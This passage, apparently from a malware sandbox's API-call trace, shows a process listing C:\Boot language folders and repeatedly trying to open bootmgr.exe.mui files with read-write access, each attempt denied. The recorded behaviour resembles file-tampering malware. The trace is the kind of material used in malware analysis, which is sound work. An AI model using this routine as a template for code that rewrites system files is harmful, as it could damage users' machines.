ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0146.673] GetProcessHeap () returned 0x2ef0000 [0146.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.674] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.674] GetProcessHeap () returned 0x2ef0000 [0146.674] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.674] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac087460, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.674] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.674] GetProcessHeap () returned 0x2ef0000 [0146.674] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.675] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.675] GetLastError () returned 0x5 [0146.675] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.675] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.675] GetProcessHeap () returned 0x2ef0000 [0146.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.675] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x8bc7dbfe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76980, dwReserved0=0x0, dwReserved1=0x240000, cFileName="memtest.exe", cAlternateFileName="")) returned 1 [0146.675] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0146.675] GetProcessHeap () returned 0x2ef0000 [0146.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.675] FindFirstFileW (in: lpFileName="C:\\Boot\\nb-NO\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.675] GetProcessHeap () returned 0x2ef0000 [0146.675] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.675] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.675] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.675] GetProcessHeap () returned 0x2ef0000 [0146.675] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.675] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.676] GetLastError () returned 0x5 [0146.676] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.676] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.676] GetProcessHeap () returned 0x2ef0000 [0146.676] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.676] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0146.676] GetProcessHeap () returned 0x2ef0000 [0146.676] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.676] FindFirstFileW (in: lpFileName="C:\\Boot\\nl-NL\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.677] GetProcessHeap () returned 0x2ef0000 [0146.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.677] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.677] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.677] GetProcessHeap () returned 0x2ef0000 [0146.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.677] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.677] GetLastError () returned 0x5 [0146.677] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.677] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.677] GetProcessHeap () returned 0x2ef0000 [0146.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.677] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0146.677] GetProcessHeap () returned 0x2ef0000 [0146.677] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.677] FindFirstFileW (in: lpFileName="C:\\Boot\\pl-PL\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.677] GetProcessHeap () returned 0x2ef0000 [0146.677] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.678] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.678] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.678] GetProcessHeap () returned 0x2ef0000 [0146.678] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.678] CreateFileW (lpFileName="C:\\Boot\\pl-PL\\bootmgr.exe.mui" (normalized: "c:\\boot\\pl-pl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.678] GetLastError () returned 0x5 [0146.678] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e5ad4a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.678] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.679] GetProcessHeap () returned 0x2ef0000 [0146.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.679] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0146.679] GetProcessHeap () returned 0x2ef0000 [0146.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.679] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-BR\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.679] GetProcessHeap () returned 0x2ef0000 [0146.679] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.679] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0ad5c0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.679] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.679] GetProcessHeap () returned 0x2ef0000 [0146.679] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.679] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.680] GetLastError () returned 0x5 [0146.680] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.680] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.680] GetProcessHeap () returned 0x2ef0000 [0146.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.680] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0146.680] GetProcessHeap () returned 0x2ef0000 [0146.680] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.680] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.680] GetProcessHeap () returned 0x2ef0000 [0146.680] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.680] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.680] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.680] GetProcessHeap () returned 0x2ef0000 [0146.681] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x22e) returned 0x2f16988 [0146.681] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0146.682] GetLastError () returned 0x5 [0146.682] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0146.682] FindClose (in: hFindFile=0x2f122c8 | out: hFindFile=0x2f122c8) returned 1 [0146.682] GetProcessHeap () returned 0x2ef0000 [0146.682] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f16988 | out: hHeap=0x2ef0000) returned 1 [0146.682] FindNextFileW (in: hFindFile=0x2f14a78, lpFindFileData=0x4dffa98 | out: lpFindFileData=0x4dffa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0146.682] GetProcessHeap () returned 0x2ef0000 [0146.682] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2c) returned 0x2f14ca8 [0146.682] FindFirstFileW (in: lpFileName="C:\\Boot\\ru-RU\\*.*", lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2f122c8 [0146.682] GetProcessHeap () returned 0x2ef0000 [0146.683] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14ca8 | out: hHeap=0x2ef0000) returned 1 [0146.683] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0146.683] FindNextFileW (in: hFindFile=0x2f122c8, lpFindFileData=0x4dff810 | out: lpFindFileData=0x4dff810*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0146.683] GetProcessHeap () returned 0x2ef0000 [0146.683] RtlAllocateHeap (HeapHandle=0x2ef0000, 